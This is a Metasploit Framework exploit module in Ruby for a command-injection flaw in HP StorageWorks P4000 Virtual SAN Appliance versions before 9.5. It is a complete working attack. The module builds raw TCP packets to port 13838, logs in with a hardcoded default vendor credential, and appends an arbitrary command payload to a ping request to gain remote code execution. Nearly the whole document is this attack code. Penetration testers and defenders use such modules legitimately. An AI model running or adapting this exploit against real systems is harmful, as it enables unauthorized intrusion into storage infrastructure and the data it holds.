HP StorageWorks P4000 Virtual SAN Appliance Command Execution



##

# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
    Rank = ExcellentRanking

    include Msf::Exploit::Remote::Tcp

    def initialize(info={})
        super(update_info(info,
            'Name'           => "HP StorageWorks P4000 Virtual SAN Appliance Command Execution",
            'Description'    => %q{
                    This module exploits a vulnerability found in HP's StorageWorks P4000 VSA,
                versions prior to 9.5.  By using a default account credential, it is possible
                to inject arbitrary commands as part of a ping request via port 13838.
            },
            'License'        => MSF_LICENSE,
            'Author'         =>
                [
                    'Nicolas Gregoire',  #Discovery, PoC, additional assistance
                    'sinn3r'             #Metasploit
                ],
            'References'     =>
                [
                    ['EDB', '18893'],
                    ['URL', 'http://www.verisigninc.com/en_US/products-and-services/network-intelligence-availability/idefense/public-vulnerability-reports/articles/index.xhtml?loc=en_US&id=958'],
                    ['URL', 'http://h20000.www2.hp.com/bizsupport/TechSupport/Document.jsp?objectID=c03082086']
                ],
            'Payload'        =>
                {
                    'BadChars' => "/",
                    'Compat'   =>
                        {
                            'PayloadType' => 'cmd',
                            'RequiredCmd' => 'generic perl telnet bash'
                        }
                },
            'DefaultOptions'  =>
                {
                    'ExitFunction' => "none"
                },
            'Platform'       => ['unix', 'linux'],
            'Arch'           => ARCH_CMD,
            'Targets'        =>
                [
                    ['HP VSA prior to 9.5', {}]
                ],
            'Privileged'     => false,
            'DisclosureDate' => "Nov 11 2011",
            'DefaultTarget'  => 0))

        register_options(
            [
                OptPort.new('RPORT', [true, 'The remote port', 13838])
            ], self.class)
    end


    def generate_packet(data)
        pkt = "\x00\x00\x00\x00\x00\x00\x00\x01"
        pkt << [data.length + 1].pack("N*")
        pkt << "\x00\x00\x00\x00"
        pkt << "\x00\x00\x00\x00\x00\x00\x00\x00"
        pkt << "\x00\x00\x00\x14\xff\xff\xff\xff"
        pkt << data
        pkt << "\x00"

        pkt
    end


    def exploit
        connect

        # Login packet
        print_status("Sending login packet")
        packet = generate_packet("login:/global$agent/L0CAlu53R/Version \"8.5.0\"")
        sock.put(packet)
        res = sock.get_once
        vprint_status(Rex::Text.to_hex_dump(res)) if res

        # Command execution
        print_status("Sending injection")
        data = "get:/lhn/public/network/ping/127.0.0.1/foobar;#{payload.encoded}/"
        packet = generate_packet(data)
        sock.put(packet)
        res = sock.get_once
        vprint_status(Rex::Text.to_hex_dump(res)) if res

        handler
        disconnect
    end
end